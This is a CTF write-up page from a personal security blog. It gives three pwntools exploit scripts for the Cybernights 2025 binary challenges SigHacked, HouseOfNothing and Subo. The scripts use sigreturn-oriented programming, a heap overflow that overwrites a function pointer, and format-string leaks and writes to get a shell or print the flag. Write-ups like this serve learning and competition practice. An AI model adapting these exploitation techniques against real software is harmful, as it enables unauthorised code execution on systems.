Diefunction
  • About
  • Vulnerabilities
    • GHSL-2021-023 / CVE-2021-32819
  • BlachatMEA Finals 2024
  • CTF
    • Technology Control Company
      • Athackcon CTF 2021
        • Trust
        • Config
        • Extend
        • Poison
      • Blackhat MEA 2022
        • CTF Setup on Kali linux
        • Careers
        • SOC Complaints
    • Athackcon
      • POLL
    • Cyber Night 3
      • Client Hell
    • BlackHatMEA Quals 2022
      • Spatify
      • PeehPee
      • Meme generator
      • Black notes
      • Jimmy's blog
    • BlackHatMEA Quals 2023
      • Web - Hardy
      • Web - Authy
      • Reverse engineering - light up the server
    • BlackhatMEA Finals 2024
      • PWN
    • BITSCTF - Reverse Mishap
    • Cybernights 2025
      • REVERSE
      • PWN
    • BYUCTF 2025
      • PWN
Powered by GitBook
On this page
  • SigHacked
  • HouseOfNothing
  • Subo

Was this helpful?

  1. CTF
  2. Cybernights 2025

PWN

SigHacked


from pwn import *

context.binary = elf = ELF('./chall')
p = process('./chall')


# Leak buffer address and calculate ELF base
p.recvuntil(b'We will store here ')
buffer_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f'Buffer address: {hex(buffer_addr)}')

p.recvuntil(b'in menu ')
menu_addr = int(p.recvuntil(b',', drop=True), 16)
elf.address = menu_addr - 0x129E
log.info(f'ELF base address: {hex(elf.address)}')

binsh = b'/bin/sh\x00'
syscall_ret = elf.address + 0x1605
# Construct SROP payload
frame = SigreturnFrame()
frame.rax = 0x3B            # execve syscall number
frame.rdi = buffer_addr   # address of '/bin/sh'
frame.rsi = 0             # argv = NULL
frame.rdx = 0             # envp = NULL
frame.rip = syscall_ret   # syscall instruction after frame

# Add first student with shellcode in name
p.sendlineafter(b'Enter your choice: ', b'1')
p.sendlineafter(b'Enter student name: ', binsh + (b'A' * (50 - len(binsh)))) # buffer_addr contains our /bin/sh
gadgets = p64(elf.address + 0x1604) # pop rax; syscall
gadgets += p64(0xF) # syscall execve

p.sendlineafter(b'Enter student degree: ', (b'B' * 0xFE) + gadgets + bytes(frame))

p.sendlineafter(b'Enter your choice: ', b'3')

p.interactive()

HouseOfNothing

from pwn import *

executable = '/home/ubuntu/Desktop/house/chall'
context.binary = elf = ELF(executable)

io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(msg)

def choice(num):
    """
    0. Hidden MSG
    1. Add Idea
    2. Delete Idea
    3. Show Idea
    4. Exit
    > 
    """
    io.sendlineafter(b'> ', str(num).encode()) 

def elf_address():
    choice(0)
    msg = io.recvline()
    
    temp = msg[0x31:]
    func = temp[:temp.find(b' ')]
    
    return int(func, 16) - 0x1283

def add_idea(idx, data):
    choice(1)
    
    io.sendlineafter(b'Enter index (0-9): ', str(idx).encode())
    io.sendlineafter(b'Enter your idea: ', data)

def delete_idea(idx):
    choice(2)

    io.sendlineafter(b'Enter index to delete: ', str(idx).encode())

def print_idea(idx):
    choice(3)
    
    io.sendlineafter(b'Enter index to view: ', str(idx).encode())
    msg = io.recvline()
    print(msg.decode())

def quit():
    choice(4)

def exploit():
    debug('[*] Starting exploit')
    
    # Exploit
    elf.address = elf_address()
    print(f'[+] ELF BASE: {hex(elf.address)}')

    
    # print_flag function ptr
    flag = elf.address + 0x1269
    
    add_idea(0, b'A' * 64)
    add_idea(1, b'B' * 64)
    delete_idea(0)

    # Heap Overflow
    payload = b'C' * (64 + (8 * 3))
    payload += p64(flag)
    payload += p32(0x0)

    # Overwrite print_idea function
    add_idea(0, payload)
    
    debug('[*] Triggering function pointer overwrite...')
    print_idea(1)

    debug('[*] Done.')
    io.interactive()

def local():
    global io
    
    io = process(executable)

    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()

    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
    

Subo

from pwn import *
EXECUTABLE = './chall'
LIBC = './libc.so.6'
context.binary = elf = ELF(EXECUTABLE)
libc = ELF(LIBC)
io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b printf
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    """Pause execution for debugging."""
    if isDebug and not disabled:
        input(msg)

def set_username(username):
    """Set the username by sending the -u command."""
    io.sendlineafter(b'Enter command: ', b'-u ' + username)

def run_shell_as_user(username):
    """Send the -s command to attempt running a shell as the specified user."""
    set_username(username)
    io.sendlineafter(b'Enter command: ', b'-s')
    msg = io.recvuntil(b'.')
    return msg

def format_write(value, addr, offset = 37, padding = 197):
    """
    Create a format string payload to write a 2-byte value using %hn.
    
    Parameters:
    - value: The 2-byte value to write.
    - addr: The memory address to write to.
    - offset: The number of characters printed before writing.
    - padding: The total payload size to ensure correct alignment.
    """
    junk = b'A'
    payload = b'%c' * offset
    payload += f'%{value - offset}c%hn'.encode()
    payload = payload.ljust(padding, junk) + p64(addr)
    run_shell_as_user(payload)

def format_leak(offset):
    """
    Leak a memory address using a format string vulnerability.
    
    Parameters:
    - offset: The position in the format string output where the address appears.
    
    Returns:
    - The leaked address as an integer.
    """
    username = b'%c' * offset + b'%p'
    msg = run_shell_as_user(username)
    msg = msg.replace(b'Error: User ', b'').replace(b' not found.', b'')
    value = int(msg.split(b'0x')[1].split()[0], 16)
    return value

def exploit():
    debug('[*] Starting exploit', disabled = True)
    
    # Leak Stack address
    stack_addr = format_leak(6)
    print(f'[+] Stack address: {hex(stack_addr)}')

    # LIBC base address
    libc.address = format_leak(2) - 0x114887
    print(f'[+] LIBC base: {hex(libc.address)}')

    # ELF base address
    elf.address = format_leak(10) - 0x18E9
    print(f'[+] ELF base: {hex(elf.address)}')

    # execute_command_as_user+0x14F0
    # mov     rax, [rbp+command]
    rbp_command = stack_addr + 0x5f0  # Offset 0x5f0 is determined from the leaked stack address in a debugger for [rbp+command]
    
    # Address of '/bin/sh' in libc
    binsh_ptr = next(libc.search(b'/bin/sh\x00'))
    print(f'[+] LIBC binsh: {hex(binsh_ptr)}')
    
    # Write to [rbp+command] the address of "/bin/sh"
    format_write(binsh_ptr & 0xFFFF, rbp_command)
    format_write((binsh_ptr >> 16) & 0xFFFF, rbp_command + 2)
    format_write((binsh_ptr >> 32) & 0xFFFF, rbp_command + 4)
    print(f'[+] [rbp+command] on the stack points to the "/bin/sh\\x00" address.: {hex(rbp_command)}')
    
    # run_shell_as_user+0x1577
    # retn
    ret_addr = stack_addr - 0x218 # 0x218 is the return address offset, determined from stack analysis in a debugger. 
    print(f'[+] Return address: {hex(ret_addr)}')

    # The address to call system: mov rax, [rbp+command] | mov rdi, rax | call _system | execute_command_as_user+0x14F0
    system = (elf.address + 0x14f0) & 0xFFFF
    format_write(system, ret_addr)
    
    io.interactive()

def local():
    global io
    
    io = process(EXECUTABLE)
    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()
    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
PreviousREVERSENextBYUCTF 2025

Last updated 2 months ago

Was this helpful?

Struct
Main
Leak function
Add idea
delete idea
call func from heap
print flag